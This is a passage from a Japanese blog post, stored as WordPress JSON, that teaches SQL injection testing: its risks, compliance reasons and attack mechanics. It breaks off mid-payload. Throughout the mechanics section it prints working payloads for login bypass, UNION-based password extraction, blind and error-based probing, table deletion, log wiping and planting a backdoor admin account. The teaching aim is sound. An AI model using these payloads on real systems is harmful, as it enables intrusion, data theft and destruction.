{"id":232,"date":"2025-05-21T00:00:00","date_gmt":"2025-05-20T15:00:00","guid":{"rendered":"https:\/\/minna-systems.co.jp\/test\/blog\/sql-injection-testing-methods\/"},"modified":"2025-12-01T10:39:32","modified_gmt":"2025-12-01T01:39:32","slug":"sql-injection-testing-methods","status":"publish","type":"post","link":"https:\/\/minna-systems.co.jp\/test\/security-test\/sql-injection-testing-methods\/","title":{"rendered":"SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u3068\u306f\uff1f\u57fa\u672c\u6982\u5ff5\u3092\u89e3\u8aac"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3068\u306f<\/h2>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u5bfe\u3057\u3066\u4e0d\u6b63\u306aSQL\u6587\u3092\u5b9f\u884c\u3055\u305b\u308b\u653b\u6483\u624b\u6cd5\u3067\u3059\u3002\u653b\u6483\u8005\u306f\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3084URL\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u60aa\u610f\u306e\u3042\u308bSQL\u6587\u3092\u633f\u5165\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u5185\u306e\u6a5f\u5bc6\u60c5\u5831\u3092\u76d7\u53d6\u3057\u305f\u308a\u3001\u30c7\u30fc\u30bf\u3092\u6539\u3056\u3093\u30fb\u524a\u9664\u3057\u305f\u308a\u3057\u307e\u3059\u3002\u3053\u306e\u653b\u6483\u306f\u3001\u9069\u5207\u306a\u5165\u529b\u5024\u691c\u8a3c\u304c\u884c\u308f\u308c\u3066\u3044\u306a\u3044\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u767a\u751f\u3057\u3084\u3059\u304f\u3001\u73fe\u5728\u3067\u3082\u6df1\u523b\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8105\u5a01\u3068\u3057\u3066\u4f4d\u7f6e\u3065\u3051\u3089\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f<strong>OWASP Top 10<\/strong>\u306b\u304a\u3044\u3066\u9577\u5e74\u306b\u308f\u305f\u308a\u4e0a\u4f4d\u306b\u30e9\u30f3\u30af\u3055\u308c\u7d9a\u3051\u3066\u304a\u308a\u3001\u6700\u65b0\u7248\u3067\u306f\u300cInjection\u300d\u30ab\u30c6\u30b4\u30ea\u3068\u3057\u3066\u5f15\u304d\u7d9a\u304d\u91cd\u8981\u306a\u8105\u5a01\u3068\u8a8d\u8b58\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u653b\u6483\u306e\u7279\u5fb4\u306f\u3001\u6280\u8853\u7684\u306a\u96e3\u6613\u5ea6\u304c\u6bd4\u8f03\u7684\u4f4e\u3044\u306b\u3082\u304b\u304b\u308f\u3089\u305a\u3001\u6210\u529f\u3057\u305f\u5834\u5408\u306e\u5f71\u97ff\u304c\u6975\u3081\u3066\u5927\u304d\u3044\u3053\u3068\u3067\u3059\u3002\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u5168\u4f53\u3078\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u596a\u53d6\u3055\u308c\u3001\u6570\u767e\u4e07\u4ef6\u306e\u500b\u4eba\u60c5\u5831\u304c\u6d41\u51fa\u3059\u308b\u3068\u3044\u3063\u305f\u4e8b\u4f8b\u3082\u5b9f\u969b\u306b\u767a\u751f\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u653b\u6483\u306e\u6210\u7acb\u6761\u4ef6\u306f\u4e3b\u306b\u4e09\u3064\u3042\u308a\u307e\u3059\u3002\u7b2c\u4e00\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u76f4\u63a5SQL\u6587\u306b\u9023\u7d50\u3057\u3066\u3044\u308b\u3053\u3068\u3002\u7b2c\u4e8c\u306b\u3001\u5165\u529b\u5024\u306e\u691c\u8a3c\u30fb\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\u304c\u4e0d\u5341\u5206\u3067\u3042\u308b\u3053\u3068\u3002\u7b2c\u4e09\u306b\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u5916\u90e8\u306b\u9732\u51fa\u3057\u3066\u3044\u308b\u3053\u3068\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u6761\u4ef6\u304c\u63c3\u3046\u3068\u3001\u653b\u6483\u8005\u306f\u5bb9\u6613\u306b\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u4fb5\u5165\u3092\u8a66\u307f\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u6b74\u53f2\u7684\u80cc\u666f<\/strong>\u3092\u7406\u89e3\u3059\u308b\u3053\u3068\u3082\u91cd\u8981\u3067\u3059\u3002SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f1998\u5e74\u9803\u304b\u3089\u77e5\u3089\u308c\u308b\u3088\u3046\u306b\u306a\u308a\u30012000\u5e74\u4ee3\u521d\u982d\u306b\u306f\u5927\u898f\u6a21\u306a\u653b\u6483\u4e8b\u4f8b\u304c\u5831\u544a\u3055\u308c\u307e\u3057\u305f\u30022008\u5e74\u306eHeartland Payment Systems\u4e8b\u4ef6\u3067\u306f\u30011\u51043000\u4e07\u4ef6\u4ee5\u4e0a\u306e\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u60c5\u5831\u304c\u6d41\u51fa\u3057\u3001\u4f01\u696d\u306f\u6570\u5104\u30c9\u30eb\u306e\u640d\u5bb3\u3092\u88ab\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u4e8b\u4f8b\u306f\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u5bfe\u7b56\u306e\u91cd\u8981\u6027\u3092\u793a\u3059\u6559\u8a13\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u76ee\u7684\u3068\u91cd\u8981\u6027<\/h2>\n\n\n\n<p><strong>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8<\/strong>\u306e\u4e3b\u306a\u76ee\u7684\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304cSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483\u306b\u5bfe\u3057\u3066\u9069\u5207\u306a\u9632\u5fa1\u6a5f\u80fd\u3092\u6301\u3063\u3066\u3044\u308b\u304b\u3092\u691c\u8a3c\u3059\u308b\u3053\u3068\u3067\u3059\u3002IPA\u306e\u8abf\u67fb\u306b\u3088\u308b\u3068\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u306e\u7d0420%\u3092SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u304c\u5360\u3081\u3066\u304a\u308a\u3001\u500b\u4eba\u60c5\u5831\u6f0f\u6d29\u4e8b\u6545\u306e\u539f\u56e0\u3068\u3057\u3066\u3082\u4e0a\u4f4d\u306b\u30e9\u30f3\u30af\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30c6\u30b9\u30c8\u3092\u5b9f\u65bd\u3059\u308b\u3053\u3068\u3067\u3001\u672c\u756a\u74b0\u5883\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u3092\u672a\u7136\u306b\u9632\u304e\u3001\u4f01\u696d\u306e\u4fe1\u983c\u6027\u3068\u30d6\u30e9\u30f3\u30c9\u4fa1\u5024\u3092\u5b88\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u6cd5\u898f\u5236\u3068\u30b3\u30f3\u30d7\u30e9\u30a4\u30a2\u30f3\u30b9\u306e\u89b3\u70b9<\/strong>\u304b\u3089\u3082\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306f\u5fc5\u9808\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u500b\u4eba\u60c5\u5831\u4fdd\u8b77\u6cd5\u3001GDPR\u3001PCI DSS\u3001HIPAA\u3001SOX\u6cd5\u306a\u3069\u306e\u5404\u7a2e\u898f\u5236\u3067\u306f\u3001\u9069\u5207\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u306e\u5b9f\u65bd\u304c\u7fa9\u52d9\u4ed8\u3051\u3089\u308c\u3066\u304a\u308a\u3001\u5b9a\u671f\u7684\u306a\u8106\u5f31\u6027\u8a3a\u65ad\u304c\u8981\u6c42\u3055\u308c\u307e\u3059\u3002\u30c6\u30b9\u30c8\u3092\u6020\u3063\u305f\u7d50\u679c\u3001\u60c5\u5831\u6f0f\u6d29\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u3001\u6cd5\u7684\u8cac\u4efb\u3060\u3051\u3067\u306a\u304f\u3001\u793e\u4f1a\u7684\u4fe1\u7528\u306e\u5931\u589c\u3001\u9867\u5ba2\u96e2\u308c\u3001\u682a\u4fa1\u4e0b\u843d\u306a\u3069\u3001\u751a\u5927\u306a\u640d\u5bb3\u3092\u88ab\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>GDPR\u3067\u306f<\/strong>\u3001\u500b\u4eba\u30c7\u30fc\u30bf\u306e\u9069\u5207\u306a\u4fdd\u8b77\u304c\u7fa9\u52d9\u4ed8\u3051\u3089\u308c\u3066\u304a\u308a\u3001\u9055\u53cd\u3057\u305f\u5834\u5408\u306f\u6700\u5927\u3067\u5168\u4e16\u754c\u5e74\u9593\u58f2\u4e0a\u9ad8\u306e4%\u307e\u305f\u306f2000\u4e07\u30e6\u30fc\u30ed\u306e\u3044\u305a\u308c\u304b\u9ad8\u3044\u65b9\u304c\u5236\u88c1\u91d1\u3068\u3057\u3066\u8ab2\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306b\u3088\u308b\u30c7\u30fc\u30bf\u6f0f\u6d29\u306f\u3001\u660e\u78ba\u306aGDPR\u9055\u53cd\u3068\u306a\u308a\u3001\u91cd\u5927\u306a\u7d4c\u6e08\u7684\u30fb\u6cd5\u7684\u30ea\u30b9\u30af\u3092\u3082\u305f\u3089\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u7d4c\u6e08\u7684\u640d\u5931\u306e\u9632\u6b62<\/strong>\u3068\u3044\u3046\u5074\u9762\u3082\u91cd\u8981\u3067\u3059\u3002\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4f01\u696d\u306e\u8abf\u67fb\u306b\u3088\u308b\u3068\u3001\u30c7\u30fc\u30bf\u6f0f\u6d29\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u4e00\u4ef6\u3042\u305f\u308a\u306e\u5e73\u5747\u30b3\u30b9\u30c8\u306f\u6570\u5104\u5186\u306b\u9054\u3057\u3001\u305d\u306e\u4e2d\u306b\u306f\u8abf\u67fb\u8cbb\u7528\u3001\u88ab\u5bb3\u8005\u3078\u306e\u88dc\u511f\u3001\u30b7\u30b9\u30c6\u30e0\u4fee\u5fa9\u8cbb\u7528\u3001\u30d6\u30e9\u30f3\u30c9\u30a4\u30e1\u30fc\u30b8\u306e\u56de\u5fa9\u8cbb\u7528\u306a\u3069\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u4e8b\u524d\u306e\u30c6\u30b9\u30c8\u30b3\u30b9\u30c8\u306f\u3001\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u767a\u751f\u6642\u306e\u640d\u5931\u3068\u6bd4\u8f03\u3057\u3066\u6975\u3081\u3066\u5c0f\u3055\u304f\u3001\u6295\u8cc7\u5bfe\u52b9\u679c\u306e\u9ad8\u3044\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3068\u3044\u3048\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u7d99\u7d9a\u7684\u306a\u30c6\u30b9\u30c8\u306e\u5fc5\u8981\u6027<\/strong>\u3082\u7406\u89e3\u3057\u3066\u304a\u304f\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u5e38\u306b\u6a5f\u80fd\u8ffd\u52a0\u3084\u6539\u4fee\u304c\u884c\u308f\u308c\u308b\u305f\u3081\u3001\u65b0\u305f\u306a\u8106\u5f31\u6027\u304c\u6df7\u5165\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u958b\u767a\u30b5\u30a4\u30af\u30eb\u306e\u4e2d\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u3092\u7d44\u307f\u8fbc\u307f\u3001CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306e\u4e00\u90e8\u3068\u3057\u3066\u81ea\u52d5\u5316\u3059\u308b\u3053\u3068\u3067\u3001\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u54c1\u8cea\u306e\u7dad\u6301\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u4ed5\u7d44\u307f<\/h2>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u305d\u306e\u307e\u307eSQL\u6587\u306b\u7d44\u307f\u8fbc\u3080\u969b\u306b\u767a\u751f\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001\u30ed\u30b0\u30a4\u30f3\u6a5f\u80fd\u3067\u300cSELECT * FROM users WHERE username=&#8217;\u5165\u529b\u5024&#8217; AND password=&#8217;\u5165\u529b\u5024&#8217;\u300d\u3068\u3044\u3046\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u653b\u6483\u8005\u304c\u300cadmin&#8217;&#8211;\u300d\u3092\u5165\u529b\u3059\u308b\u3068\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u90e8\u5206\u304c\u30b3\u30e1\u30f3\u30c8\u30a2\u30a6\u30c8\u3055\u308c\u3001\u4e0d\u6b63\u30ed\u30b0\u30a4\u30f3\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u52d5\u7684SQL\u306e\u5371\u967a\u6027<\/strong>\u3092\u5177\u4f53\u7684\u306b\u7406\u89e3\u3059\u308b\u305f\u3081\u3001\u8a73\u7d30\u306a\u4f8b\u3092\u898b\u3066\u307f\u307e\u3057\u3087\u3046\u3002\u901a\u5e38\u306e\u30ed\u30b0\u30a4\u30f3\u51e6\u7406\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u300ctanaka\u300d\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u300cpassword123\u300d\u304c\u5165\u529b\u3055\u308c\u308b\u3068\u3001\u4ee5\u4e0b\u306eSQL\u6587\u304c\u751f\u6210\u3055\u308c\u307e\u3059\uff1a<\/p>\n\n\n\n<p><code>SELECT * FROM users WHERE username='tanaka' AND password='password123'<\/code><\/p>\n\n\n\n<p>\u3057\u304b\u3057\u3001\u653b\u6483\u8005\u304c\u30e6\u30fc\u30b6\u30fc\u540d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u300cadmin&#8217; OR &#8216;1&#8217;=&#8217;1\u300d\u3092\u5165\u529b\u3059\u308b\u3068\u3001\u751f\u6210\u3055\u308c\u308bSQL\u6587\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<p><code>SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='password123'<\/code><\/p>\n\n\n\n<p>\u3053\u306e\u5834\u5408\u3001OR\u6761\u4ef6\u306b\u3088\u308a\u300c&#8217;1&#8217;=&#8217;1&#8217;\u300d\u306f\u5e38\u306b\u771f\u3068\u306a\u308b\u305f\u3081\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u4e0d\u660e\u3067\u3082\u30ed\u30b0\u30a4\u30f3\u304c\u6210\u529f\u3057\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u3055\u3089\u306b\u60aa\u8cea\u306a\u4f8b\u3068\u3057\u3066\u3001\u300cadmin&#8217;; DROP TABLE users;&#8211;\u300d\u306e\u3088\u3046\u306a\u5165\u529b\u306b\u3088\u308a\u3001\u30c6\u30fc\u30d6\u30eb\u5168\u4f53\u304c\u524a\u9664\u3055\u308c\u308b\u5371\u967a\u6027\u3082\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u8907\u96d1\u306a\u4f8b<\/strong>\u3068\u3057\u3066\u3001\u691c\u7d22\u6a5f\u80fd\u3067\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u304c\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<p><code>String query = \"SELECT id, title, content FROM articles WHERE category='\" + userInput + \"' ORDER BY date DESC\";<\/code><\/p>\n\n\n\n<p>\u653b\u6483\u8005\u304c\u300ctechnology&#8217; UNION SELECT username, password, email FROM users&#8211;\u300d\u3092\u5165\u529b\u3059\u308b\u3068\uff1a<\/p>\n\n\n\n<p><code>SELECT id, title, content FROM articles WHERE category='technology' UNION SELECT username, password, email FROM users--' ORDER BY date DESC<\/code><\/p>\n\n\n\n<p>\u3053\u306e\u30af\u30a8\u30ea\u306b\u3088\u308a\u3001articles \u30c6\u30fc\u30d6\u30eb\u306e\u691c\u7d22\u7d50\u679c\u306b\u52a0\u3048\u3066\u3001users \u30c6\u30fc\u30d6\u30eb\u306e\u3059\u3079\u3066\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3001\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u304c\u53d6\u5f97\u3055\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5178\u578b\u7684\u306a\u653b\u6483\u30d1\u30bf\u30fc\u30f3<\/h3>\n\n\n\n<p>\u4ee3\u8868\u7684\u306a\u653b\u6483\u30d1\u30bf\u30fc\u30f3\u306b\u306f\u4ee5\u4e0b\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Union Based\u653b\u6483<\/strong>\uff1aUNION\u6587\u3092\u4f7f\u7528\u3057\u3066\u5225\u30c6\u30fc\u30d6\u30eb\u306e\u60c5\u5831\u3092\u53d6\u5f97\u3059\u308b\u624b\u6cd5\u3067\u3059\u3002\u653b\u6483\u8005\u306f\u5143\u306e\u30af\u30a8\u30ea\u306b\u8ffd\u52a0\u306eSELECT\u6587\u3092\u7d50\u5408\u3057\u3001\u672c\u6765\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u3044\u306f\u305a\u306e\u30c6\u30fc\u30d6\u30eb\u304b\u3089\u60c5\u5831\u3092\u62bd\u51fa\u3057\u307e\u3059\u3002\u3053\u306e\u653b\u6483\u304c\u6210\u529f\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u5143\u306e\u30af\u30a8\u30ea\u3068\u540c\u3058\u30ab\u30e9\u30e0\u6570\u3092\u6301\u3064SELECT\u6587\u3092\u69cb\u7bc9\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u3001\u653b\u6483\u8005\u306fNULL\u5024\u3092\u4f7f\u3063\u3066\u8abf\u6574\u3057\u307e\u3059\u3002\u307e\u305a\u300c&#8217; ORDER BY 1&#8211;\u300d\u300c&#8217; ORDER BY 2&#8211;\u300d\u3068\u9806\u6b21\u8a66\u3057\u3066\u30ab\u30e9\u30e0\u6570\u3092\u7279\u5b9a\u3057\u3001\u6b21\u306b\u300c&#8217; UNION SELECT NULL, NULL, NULL&#8211;\u300d\u306e\u3088\u3046\u306b\u3001\u7279\u5b9a\u3057\u305f\u30ab\u30e9\u30e0\u6570\u5206\u306eNULL\u3092\u542b\u3080UNION\u30af\u30a8\u30ea\u3092\u69cb\u7bc9\u3057\u307e\u3059\u3002\u6700\u7d42\u7684\u306b\u3001\u300c&#8217; UNION SELECT table_name, NULL, NULL FROM information_schema.tables&#8211;\u300d\u306e\u3088\u3046\u306b\u3001\u5b9f\u969b\u306e\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u30af\u30a8\u30ea\u3092\u69cb\u7bc9\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>Boolean Based Blind\u653b\u6483<\/strong>\uff1a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u306e\u76f4\u63a5\u7684\u306a\u60c5\u5831\u53d6\u5f97\u304c\u3067\u304d\u306a\u3044\u5834\u5408\u3067\u3082\u3001\u771f\u507d\u5024\u306e\u7d50\u679c\u304b\u3089\u60c5\u5831\u3092\u63a8\u6e2c\u3059\u308b\u624b\u6cd5\u3067\u3059\u3002\u4f8b\u3048\u3070\u3001\u300c&#8217; AND SUBSTRING(password,1,1)=&#8217;a\u300d\u306e\u3088\u3046\u306a\u6761\u4ef6\u3092\u9001\u4fe1\u3057\u3001\u30da\u30fc\u30b8\u306e\u8868\u793a\u5185\u5bb9\u304c\u5909\u5316\u3059\u308b\u304b\u3069\u3046\u304b\u3067\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u4e00\u6587\u5b57\u76ee\u304c\u300ca\u300d\u3067\u3042\u308b\u304b\u3092\u5224\u5b9a\u3057\u307e\u3059\u3002\u30d0\u30a4\u30ca\u30ea\u30b5\u30fc\u30c1\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u4f7f\u7528\u3059\u308c\u3070\u3001\u6587\u5b57\u30b3\u30fc\u30c9\u306e\u7bc4\u56f2\u3092\u4e8c\u5206\u63a2\u7d22\u3057\u3001\u52b9\u7387\u7684\u306b\u6587\u5b57\u3092\u7279\u5b9a\u3067\u304d\u307e\u3059\u3002\u300c&#8217; AND ASCII(SUBSTRING(password,1,1))>77&#8211;\u300d\u3067\u771f\u507d\u3092\u78ba\u8a8d\u3057\u3001\u7d50\u679c\u306b\u5fdc\u3058\u3066\u7bc4\u56f2\u3092\u72ed\u3081\u3066\u3044\u304d\u307e\u3059\u30027-8\u56de\u306e\u8a66\u884c\u3067\u4e00\u6587\u5b57\u3092\u7279\u5b9a\u3067\u304d\u308b\u305f\u3081\u3001\u81ea\u52d5\u5316\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u7528\u3059\u308c\u3070\u78ba\u5b9f\u306b\u60c5\u5831\u3092\u62bd\u51fa\u3067\u304d\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>Time Based Blind\u653b\u6483<\/strong>\uff1a\u5fdc\u7b54\u6642\u9593\u306e\u5dee\u3092\u5229\u7528\u3057\u305f\u60c5\u5831\u53d6\u5f97\u624b\u6cd5\u3067\u3059\u3002\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u5fdc\u7b54\u304c\u5916\u90e8\u306b\u8868\u793a\u3055\u308c\u306a\u3044\u5834\u5408\u3067\u3082\u3001WAITFOR\u3001SLEEP\u3001BENCHMARK \u306a\u3069\u306e\u95a2\u6570\u3092\u4f7f\u7528\u3057\u3066\u610f\u56f3\u7684\u306b\u9045\u5ef6\u3092\u767a\u751f\u3055\u305b\u3001\u305d\u306e\u6709\u7121\u3067\u6761\u4ef6\u306e\u771f\u507d\u3092\u5224\u5b9a\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001\u300c&#8217;; IF (SELECT COUNT(*) FROM users WHERE username=&#8217;admin&#8217;)>0 WAITFOR DELAY &#8217;00:00:05&#8242;&#8211;\u300d\u306e\u3088\u3046\u306a\u5165\u529b\u306b\u3088\u308a\u3001admin\u30e6\u30fc\u30b6\u30fc\u306e\u5b58\u5728\u3092\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u9045\u5ef6\u306e\u5f71\u97ff\u3092\u6392\u9664\u3059\u308b\u305f\u3081\u3001\u540c\u3058\u30af\u30a8\u30ea\u3092\u8907\u6570\u56de\u5b9f\u884c\u3057\u3001\u5e73\u5747\u5fdc\u7b54\u6642\u9593\u3092\u8a08\u7b97\u3057\u3066\u5224\u5b9a\u306e\u7cbe\u5ea6\u3092\u5411\u4e0a\u3055\u305b\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>Error Based\u653b\u6483<\/strong>\uff1a\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304b\u3089\u76f4\u63a5\u60c5\u5831\u3092\u62bd\u51fa\u3059\u308b\u624b\u6cd5\u3067\u3059\u3002\u9069\u5207\u306a\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u304c\u5b9f\u88c5\u3055\u308c\u3066\u3044\u306a\u3044\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u305d\u306e\u307e\u307e\u8868\u793a\u3055\u308c\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002\u300c&#8217; AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))&#8211;\u300d\u306e\u3088\u3046\u306a\u5165\u529b\u3067\u3001\u578b\u5909\u63db\u30a8\u30e9\u30fc\u3092\u5f15\u304d\u8d77\u3053\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3092\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304b\u3089\u53d6\u5f97\u3067\u304d\u308b\u5834\u5408\u304c\u3042\u308a\u307e\u3059\u3002MySQL\u306e\u300cEXTRACTVALUE\u300d\u95a2\u6570\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u300c&#8217; AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users LIMIT 1)))&#8211;\u300d\u306b\u3088\u308a\u3001XPath\u69cb\u6587\u30a8\u30e9\u30fc\u3092\u5f15\u304d\u8d77\u3053\u3057\u3001\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u542b\u307e\u308c\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>Stacked Queries\u653b\u6483<\/strong>\uff1a\u30bb\u30df\u30b3\u30ed\u30f3\u3092\u4f7f\u7528\u3057\u3066\u8907\u6570\u306eSQL\u6587\u3092\u9023\u7d9a\u5b9f\u884c\u3055\u305b\u308b\u624b\u6cd5\u3067\u3059\u3002\u300c&#8217;; DELETE FROM logs; &#8211;\u300d\u306e\u3088\u3046\u306a\u5165\u529b\u306b\u3088\u308a\u3001\u5143\u306e\u30af\u30a8\u30ea\u5b9f\u884c\u5f8c\u306b\u8ffd\u52a0\u306e\u7834\u58ca\u7684\u306a\u64cd\u4f5c\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002\u30d0\u30c3\u30af\u30c9\u30a2\u306e\u8a2d\u7f6e\u3068\u3057\u3066\u3001\u300c&#8217;; INSERT INTO users (username, password, role) VALUES (&#8216;backdoor&#8217;, &#8216;secret&#8217;, &#8216;admin&#8217;); 